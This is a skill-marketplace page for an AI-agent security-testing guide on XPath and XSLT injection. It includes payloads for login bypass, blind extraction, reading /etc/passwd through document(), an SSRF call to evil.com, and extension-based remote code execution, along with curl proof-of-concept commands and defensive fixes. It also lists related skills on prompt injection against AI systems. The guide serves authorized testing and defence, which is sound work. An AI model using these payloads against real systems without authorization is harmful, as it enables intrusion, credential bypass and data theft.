xpath-xslt
What it does
This guide covers injection flaws in XML query and transform code, which can bypass logins or read files. It is for developers and testers who work with XML data stores and XML report builders.
When to use it
- βWhen an app builds XML queries using user input, such as a login check against an XML file.
- βWhen an XML report builder accepts transform rules from users.
- βWhen an authorized test wants to check whether XML processing reads outside data.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur legacy login checks users against an XML file. Can you check whether the query can be manipulated by input?β
5 new skills a week. 1 minute to read.
How it works
The agent looks for places where input is joined into an XML query or transform, then tests whether special characters change the result in a safe test environment.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
XPath + XSLT Injection
XPath Injection
XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.
Auth bypass
# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"
# Payload
user = "' or '1'='1" β //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='" β returns all users
Blind extraction
# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based β XPath has no sleep, but some impls support extensions
XSLT Injection
Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.
document() function β file read
<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/> β SSRF
EXSLT β RCE on some engines
<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>
<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>
Reflected XSS via XSLT
<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML β unescaped output β XSS -->
Detection
- Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
- Apps using XPath: legacy intranets, file-based config querying, XML feeds
PoC
# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"
# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
EOF
Severity
- XPath auth bypass: Critical 9.8
- XSLT file read: Critical 9.0
- XSLT RCE: Critical 10.0
- Blind XPath extraction: High 7-8
Defender
- Use parameterized XPath via libraries (
lxml.etree.XPath(expr)w/ variable bindings) - Disable XSLT extensions by default
- Use
XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE(libxslt) - Sanitize / strict-validate XML input schema
Cross-references
- Upstream:
skills/_corpus/payloads/XPATH Injection/+XSLT Injection/ - XXE (different XML class):
skills/exploit/web/xxe.md
FAQ
What is XPath?
It is a query language for picking data out of XML documents.
Why is XSLT riskier than XPath?
The guide says XSLT is more powerful and some engines support file reads and other extensions.
What is the main fix?
Avoid building queries from raw input and use safe parameter handling instead.
Details
Original description by the author
XPath + XSLT injection β query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14086
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.